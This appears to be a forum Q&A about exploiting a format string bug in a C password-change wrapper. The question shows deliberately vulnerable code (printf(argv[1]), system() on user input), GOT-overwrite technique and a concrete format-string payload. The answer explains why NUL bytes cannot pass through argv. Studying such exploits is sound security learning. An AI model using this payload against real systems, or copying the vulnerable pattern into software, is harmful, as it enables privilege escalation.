Assuming this code :
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char fonction[50] = "/usr/bin/passwd ";
char messageAccueil[100] = "changement du mot de passe de : ";
if(argc == 1){
printf("vous devez passer un username en parametre \n");
return 1;
}
printf(messageAccueil);
printf(argv[1]); //<-- format string vulnerability here !!
if(strcmp(argv[1], "root")==0){
printf("vous ne pensiez quand meme pas pouvoir changer le mot de passe de root si facilement ?\n");
return 1;
}
printf("\n");
strncat(fonction,argv[1],38);
system(fonction);
return 0;
}
I want to exec shell by exploiting format string vulnerability,
So, I wanted to rewrite strcmp
function address from GOT by the address of my shellcode stored into environment variable.
gdb
gave me :
(gdb) info functions
0x0000000000400570 strcmp@plt
(gdb) disas 0x400570
Dump of assembler code for function strcmp@plt:
0x0000000000400570 <+0>: jmp QWORD PTR [rip+0x20070a]#0x600c80 <[email protected]>
0x0000000000400576 <+6>: push 0x6
0x000000000040057b <+11>: jmp 0x400500
End of assembler dump.
So I want to write my shellcode address to 0x00600c80
How can i pass nullbyte to my ./changepasswd
file ?
I'm actually trying this exploit :
/changepasswd $(echo -e '\x80\x0c\x60\x00____\x84\x0c\x60\x00')%65527d%136\$x%59017d%137\$x
This give me the adress 600c845f
But the \x00
as no influence and is not stored into the stack.
I found that the fact adress start by 00 could by and ascii armouring issue but exec-shield option is totally absent from my system.
So I'm looking for a way to write the 00 into my stack OR to get my GOT addresses to be started by something else than 00...
There are two questions here. Or, better said, two impossibilities.
First, there is a shell question: how to pass a string containing a NUL as a command-line argument to a utility.
Shell variables cannot contain NUL
s, so there is no way to construct the parameter string and pass it as an argument. [Note 1] However, you can construct a stream containing a NUL
and pipe that into the stdin
of some utility. It only remains to find a utility which converts its input into a command-line argument for some other utility; that would be xargs
. So you might try the following:
printf '\0This is an argument' | xargs -I{} ./victim {}
However, that won't work (and most implementations of xargs
won't even let you try it [Note 2]), because of the second issue: the argv
parameter to main
is an array of NUL
-terminated strings, so each command-line argument is terminated by the first NUL
. Consequently, even if you managed to find a way to pass all the bytes into the argv
array, the utility would treat the NUL
as terminating the argument, not as part of the argument. (For example, printf(argv[1])
will print the bytes from the first argument until it reaches a NUL
; the NUL
signals the end of the format string.)
But you won't find a way to do that, because the exec*
system library functions (one of which is necessary to pass arguments into a another executable) will also treat the NUL
as terminating the respective argument. Since the exec*
function needs to copy the arguments into the address space of the new executable image, and the copy will terminate when the end of the argument is reached, any bytes following the NUL
will be left uncopied.
Shells have different ways to deal with attempts to insert NUL
s using command substitution. Bash, for example, just deletes the NUL
s, but other shells might terminate the substitution at the first NUL
.
For the record, the Gnu implementation of xargs
will produce the following useful message:
xargs: Warning: a NUL character occurred in the input. It cannot be passed through in the argument list. Did you mean to use the --null option?
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With